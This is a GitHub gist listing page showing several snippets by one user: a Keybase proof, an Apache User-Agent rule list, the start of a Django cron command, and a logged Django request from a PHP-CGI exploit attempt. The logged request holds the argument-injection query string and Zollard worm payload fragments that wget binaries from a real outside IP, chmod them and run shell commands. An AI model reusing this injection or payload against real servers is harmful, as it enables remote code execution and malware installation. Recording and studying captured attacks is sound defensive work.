Skip to content

Instantly share code, notes, and snippets.

View thisisthechris's full-sized avatar

Chris Hunt thisisthechris

View GitHub Profile
Request repr():
<WSGIRequest
path:/cgi-bin/php.cgi,
GET:<QueryDict: {u'-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n': [u'']}>,
POST:<QueryDict: {u'chmod x /tmp/x86")': [u''], u'\n $disablefunc ':
[u' explode(",",$disablefunc)'], u'wget -P /tmp
http://178.234.62.207:58455/mips': [u''], u'<?php\necho "Zollard"':
[u''], u'chmod x /tmp/sig")': [u''], u'\nmyshellexec("rm -rf
/tmp/sig': [u''], u'chmod x /tmp/armeabi")': [u''], u'}\n elseif
(($result ': [u' `$cmd`) !== FALSE) {}\n elseif (is_callable("system")
@thisisthechris
thisisthechris / keybase.md
Created September 17, 2014 20:37
Keybase

Keybase proof

I hereby claim:

  • I am thisisthechris on github.
  • I am thisisthechris (https://keybase.io/thisisthechris) on keybase.
  • I have a public key whose fingerprint is 2333 D57F 6F7D 9873 1D6B 514E E787 C7F8 8D94 4734

To claim this, I am signing this object:

SetEnvIf User-Agent "Android" allow_ua [NC]
SetEnvIf User-Agent "bada" allow_ua [NC]
SetEnvIf User-Agent "blackberry" allow_ua [NC]
SetEnvIf User-Agent "iPad" allow_ua [NC]
SetEnvIf User-Agent "iPhone" allow_ua [NC]
SetEnvIf User-Agent "iPod" allow_ua [NC]
SetEnvIf User-Agent "iemobile" allow_ua [NC]
SetEnvIf User-Agent "opera mobile" allow_ua [NC]
SetEnvIf User-Agent "palmos" allow_ua [NC]
SetEnvIf User-Agent "webos" allow_ua [NC]
#actions to run on cron job
from django.core.management.base import BaseCommand, CommandError
from optparse import make_option
from datetime import datetime
import simplejson as json
import urllib, urllib2, time
from hotspot.twitterklout.models import Tweet, Tweeter, Hashtag, Event, Location
#from django.db import models
class Command(BaseCommand):